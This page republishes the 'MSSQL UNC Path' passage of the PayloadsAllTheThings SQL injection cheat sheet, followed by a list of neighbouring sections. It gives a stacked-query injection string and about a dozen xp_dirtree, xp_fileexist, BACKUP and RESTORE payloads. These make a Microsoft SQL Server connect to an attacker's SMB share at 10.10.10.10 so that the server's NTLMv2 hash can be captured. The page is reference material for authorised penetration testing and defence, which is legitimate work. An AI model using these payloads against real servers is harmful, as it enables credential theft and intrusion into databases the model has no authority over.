Skip to content
BackEsc
Sign in

SQL Injection · passage 68 of 186

MSSQL Injection: MSSQL UNC Path

2 code blocks · SQL Injection/MSSQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.

1'; use master; exec xp_dirtree '\\10.10.10.10\SHARE';--
xp_dirtree '\\10.10.10.10\file'
xp_fileexist '\\10.10.10.10\file'
BACKUP LOG [TESTING] TO DISK = '\\10.10.10.10\file'
BACKUP DATABASE [TESTING] TO DISK = '\\10.10.10.10\file'
RESTORE LOG [TESTING] FROM DISK = '\\10.10.10.10\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\10.10.10.10\file'
RESTORE HEADERONLY FROM DISK = '\\10.10.10.10\file'
RESTORE FILELISTONLY FROM DISK = '\\10.10.10.10\file'
RESTORE LABELONLY FROM DISK = '\\10.10.10.10\file'
RESTORE REWINDONLY FROM DISK = '\\10.10.10.10\file'
RESTORE VERIFYONLY FROM DISK = '\\10.10.10.10\file'

Source: SQL Injection/MSSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 53 to 78, reading order first.

  1. MSSQL Injection: MSSQL Enumeration§ 53text · MSSQL Injection.md
  2. MSSQL Injection: MSSQL List Databases§ 541 code block · MSSQL Injection.md
  3. MSSQL Injection: MSSQL List Tables§ 551 code block · MSSQL Injection.md
  4. MSSQL Injection: MSSQL List Columns§ 561 code block · MSSQL Injection.md
  5. MSSQL Injection: MSSQL Union Based§ 57text · MSSQL Injection.md
  6. MSSQL Injection: MSSQL Error Based§ 58text · MSSQL Injection.md
  7. MSSQL Injection: MSSQL Blind Based§ 592 code blocks · MSSQL Injection.md
  8. MSSQL Injection: MSSQL Blind With Substring Equivalent§ 601 code block · MSSQL Injection.md
  9. MSSQL Injection: MSSQL Time Based§ 612 code blocks · MSSQL Injection.md
  10. MSSQL Injection: MSSQL Stacked Query§ 62text · MSSQL Injection.md
  11. MSSQL Injection: MSSQL Read File§ 632 code blocks · MSSQL Injection.md
  12. MSSQL Injection: MSSQL Write File§ 641 code block · MSSQL Injection.md
  13. MSSQL Injection: XPCMDSHELL§ 652 code blocks · MSSQL Injection.md
  14. MSSQL Injection: Python Script§ 661 code block · MSSQL Injection.md
  15. MSSQL Injection: MSSQL DNS exfiltration§ 67text · MSSQL Injection.md
  16. MSSQL Injection: MSSQL UNC Path§ 682 code blocks · MSSQL Injection.md
  17. MSSQL Injection: MSSQL Trusted Links§ 69text · MSSQL Injection.md
  18. MSSQL Injection: MSSQL List Permissions§ 70text · MSSQL Injection.md
  19. MSSQL Injection: MSSQL Make User DBA§ 711 code block · MSSQL Injection.md
  20. MSSQL Injection: MSSQL Database Credentials§ 72text · MSSQL Injection.md
  21. MSSQL Injection: MSSQL OPSEC§ 731 code block · MSSQL Injection.md
  22. MySQL Injection: MySQL Injection§ 74text · MySQL Injection.md
  23. MySQL Injection: MYSQL Default Databases§ 75text · MySQL Injection.md
  24. MySQL Injection: MYSQL Comments§ 76text · MySQL Injection.md
  25. MySQL Injection: MYSQL Testing Injection§ 77text · MySQL Injection.md
  26. MySQL Injection: Detect Columns Number§ 78text · MySQL Injection.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in